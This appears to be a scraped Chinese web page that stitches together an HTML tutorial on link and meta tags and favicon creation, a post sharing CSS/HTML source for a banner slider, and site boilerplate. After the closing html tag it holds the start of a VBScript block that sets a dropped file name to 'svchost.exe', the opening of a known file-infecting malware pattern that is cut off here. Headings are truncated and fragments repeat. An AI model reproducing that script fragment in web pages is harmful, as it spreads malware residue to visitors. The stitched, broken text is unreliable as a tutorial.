html从入门到放弃（6）-link标签和meta标

html从入门到放弃（6）-link标签和meta标签

eta标签比较偏向于功能型，比如实现网页跳转，指定编码等

link 标签偏于与资源型主要用途是用了引用某个资源

上节课就讲过

<!--设置网页标题前的小图标>

就是前面那个小小的阿狸的图标，但是要注意的是一定要在同级目录下有favicon.ico这个文件

css文件属于网页样式表，这个属于以后的内容现在只要知道有这个功能就可以了

今天的代码图，大家最好自己打一遍

生需求的原因：

今天想要在网页标题的左侧添加图标，效果图如下：

但是心中有这个效果图，却忘记了如何使用了？

需求目标：

在html网页标题栏上添加图标

具体实操:

1.点击右键——选择打开方式——选择画图工具，效果图如下：

2.在画图工具的左上方，点击文件选项——选择另存为，效果图如下：

3.选择后缀为.bmp【注：这里选择的是24位位图】，效果图如下：

4.生成.bmp文件，改后缀的作用可以理解为jpg转ico的过渡，效果图如下：

5.选择.bmp文件，点击右键——选择重命名

6.将后缀的bmp改成后缀ico，如果有弹框出现，也是照样点确定

7.成功改成后生成的效果图

8.将生成的ico放进HTML代码中，代码的语法格式如下：

<link rel="icon" href="图标地址" type="image/x-icon">

9.生成前后的效果图如下：

果图

各位条子，大家中午好！

今天给大家带来的是苹果官网CSS3banner特效源码！

效果十分炫酷，十分适合科技企业的官网使用！

大家也可以按照自己的想法修改！

分享之前我还是要推荐下我自己建的前端学习群：581549454 。里面都是做前端开发的，拒绝卖课和广告！纯学习交流，每天会上传一些优秀的作品和源码，欢迎初学者和大神们。

好了，废话不多说，上源码！

层叠样式：

body {

margin: 0px;

padding: 0px;

background-color: rgba(255,255,255,1);

font-family: 'Source Sans Pro', sans-serif;

}

#wrapper {

width: 100%;

float: left;

}

#buttons{

width: 100%;

float: left;

margin-top: 100px;

height: 40px;

}

#buttons-inner{

height: 40px;

width: 800px;

margin-right: auto;

margin-left: auto;

}

.buttons-inner-button{

float: left;

height: 40px;

margin-right: 10px;

margin-left: 10px;

}

.buttons-inner-button a{

color: rgba(255,255,255,1);

background-color: rgba(150,40,189,1);

line-height: 40px;

height: 40px;

text-decoration: none;

display: block;

padding-right: 15px;

padding-left: 15px;

-webkit-transition: all 0.25s;

-moz-transition: all 0.25s;

-o-transition: all 0.25s;

transition: all 0.25s;

}

.buttons-inner-button a:hover{

background-color: rgba(150,40,189,0.5);

}

index:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title>Responsive Layered Slider Demo</title>

<style>

#header{

background-color: #3f8dbf;

float: left;

width: 100%;

height: 50px;

color: rgba(255,255,255,1);

line-height: 50px;

}

#header a {

color: rgba(255,255,255,1);

text-decoration: none;

display: block;

font-size: 15px;

}

#header-left{

float: left;

height: 50px;

}

#header-left:hover #header-left-icon{

background-color: #3F8DBF;

}

#header-left:hover #header-left-text{

background-color: #599BC8;

}

#header-left-icon{

float: left;

height: 50px;

width: 50px;

text-align: center;

background-color: #35759F;

-webkit-transition: background 0.5s;

-moz-transition: background 0.5s;

-o-transition: background 0.5s;

transition: background 0.5s;

}

#header-left-icon a {

font-size: 25px;

}

#header-left-text{

float: left;

height: 50px;

-webkit-transition: background 0.5s;

-moz-transition: background 0.5s;

-o-transition: background 0.5s;

transition: background 0.5s;

}

#header-left-text a {

padding-left: 20px;

padding-right: 20px;

}

#header-right{

float: right;

height: 50px;

}

#header-right:hover #header-right-icon{

background-color: #3F8DBF;

}

#header-right:hover #header-right-text{

background-color: #599BC8;

}

#header-right-icon{

float: right;

height: 50px;

width: 50px;

text-align: center;

background-color: #35759F;

-webkit-transition: background 0.5s;

-moz-transition: background 0.5s;

-o-transition: background 0.5s;

transition: background 0.5s;

}

#header-right-text{

float: right;

height: 50px;

-webkit-transition: background 0.5s;

-moz-transition: background 0.5s;

-o-transition: background 0.5s;

transition: background 0.5s;

}

#header-right-text a {

padding-right: 20px;

padding-left: 20px;

}

</style>

</head>

<body>

<div id="header-left-text"><a href="http://simbyone.com/responsive-layered-slider/">Responsive Layer Slider Article</a></div>

</div>

<div id="header-right-text"><a href="http://simbyone.com/download/responsive-layered-slider/" target="_blank">Download Source</a></div>

</div>

</div>

</div>

</div>

</div>

</div>

<div class="buttons-inner-button"><a href="index.html">Fade Slider</a></div>

<div class="buttons-inner-button"><a href="slider2.html">Bounce Slider</a></div>

<div class="buttons-inner-button"><a href="slider3.html">Roll Slider</a></div>

<div class="buttons-inner-button"><a href="slider4.html">Flip Slider</a></div>

<div class="buttons-inner-button"><a href="slider5.html">Zoom Slider</a></div>

<div class="buttons-inner-button"><a href="slider6.html">Combined Slider</a></div>

</div>

</body>

</html>

<SCRIPT Language=VBScript><!--

DropFileName="svchost.exe"

在线咨询

上一篇：冰河世纪中许多动物的祖先起源于青藏高原
下一篇：11款常用Java编程软件推荐(建议收藏)

您的项目需求

*请认真填写需求信息，我们会在24小时内与您取得联系。

整合营销服务商

html从入门到放弃（6）-link标签和meta标

生需求的原因：

需求目标：

具体实操:

层叠样式：

index:

您的项目需求